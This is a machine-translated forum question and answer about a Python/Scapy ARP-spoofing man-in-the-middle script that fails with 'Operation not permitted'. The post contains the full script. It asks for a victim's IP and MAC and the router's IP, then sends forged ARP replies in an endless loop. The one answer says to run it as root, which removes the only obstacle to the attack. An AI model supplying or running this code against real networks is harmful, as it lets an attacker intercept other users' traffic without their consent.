在中间攻击中表演时的Scapy错误

时间:2019-02-11 00:12:17

标签: python-3.x python-2.7 scapy arp man-in-the-middle

我正在使用ARP定位技术来开发中级攻击中的Man。但是,当我尝试运行代码时,会出现以下错误。

Traceback (most recent call last):
  `enter code here`File "mmattack.py", line 21, in <module>
    send(arp)
  File "/home/sup/.local/lib/python2.7/site-packages/scapy/sendrecv.py", line 326, in sendp
  socket = conf.L2socket(iface=iface, *args, **kargs)
  File "/home/sup/.local/lib/python2.7/site-packages/scapy/arch/linux.py", line 445, in __init__
    self.ins = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(type))  # noqa: E501
  File "/usr/lib/python2.7/socket.py", line 191, in __init__
    _sock = _realsocket(family, type, proto)
socket.error: [Errno 1] Operation not permitted
Exception AttributeError: "'L2Socket' object has no attribute 'ins'" in <bound method L2Socket.__del__ of <scapy.arch.linux.L2Socket object at 0x7fe1fc606990>> ignored

我正在运行python ver 2.7和scapy 2.4.2

#!/usr/bin/env python

from scapy.all import *
from subprocess import call
import time

op=1 # Op code 1 for ARP requests
victim=raw_input('Enter the target IP to hack: ') #person IP to attack
victim=victim.replace(" ","")

spoof=raw_input('Enter the routers IP *SHOULD BE ON SAME ROUTER*: ')   #routers IP.. Should be the same one.
spoof=spoof.replace(" ","")

mac=raw_input('Enter the target MAC to hack: ') #mac of the victim
mac=mac.replace("-",":")
mac=mac.replace(" ","")

arp=ARP(op=op,psrc=spoof,pdst=victim,hwdst=mac)

while 1:
   send(arp)
  #time.sleep(2)

1 个答案:

答案 0 :(得分:1)

  

socket.error:[错误1]不允许操作

您需要以root(sudo)身份启动Python程序/ Scapy以发送原始ARP数据包